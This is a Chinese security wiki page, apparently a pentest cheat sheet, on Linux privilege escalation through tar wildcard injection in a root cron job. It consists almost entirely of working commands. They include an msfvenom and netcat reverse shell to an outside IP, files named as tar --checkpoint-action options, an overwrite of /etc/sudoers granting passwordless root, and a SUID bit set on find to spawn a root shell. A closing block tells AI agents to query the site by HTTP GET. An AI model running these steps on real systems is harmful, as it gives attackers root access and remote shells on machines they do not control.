# 通配符提权

```
低权限登录
查看cron
>cat /etc/crontab
存在一个定时压缩目录的任务
生成反向shell
>msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.102 lport=8888 R
再监听
>nc -lvp 8888
靶机执行
>echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
>echo "" > "--checkpoint-action=exec=sh shell.sh"
>echo "" > --checkpoint=1
>tar cf archive.tar *
即可返回shell
或使用sudoer
>echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh
>echo "" > "--checkpoint-action=exec=sh demo.sh"
>echo "" > --checkpoint=1
>tar cf archive.tar *
或suid
>echo "chmod u+s /usr/bin/find" > test.sh
>echo "" > "--checkpoint-action=exec=sh test.sh"
>echo "" > --checkpoint=1
>tar cf archive.tar *
>ls -al /usr/bin/find
>find f1 -exec "whoami" \;
>root
>find f1 -exec "/bin/sh" \;
>id
>whoami

工具
https://github.com/localh0t/wildpwn
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/quan-xian-ti-sheng/linux-ti-quan/tong-pei-fu-ti-quan.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
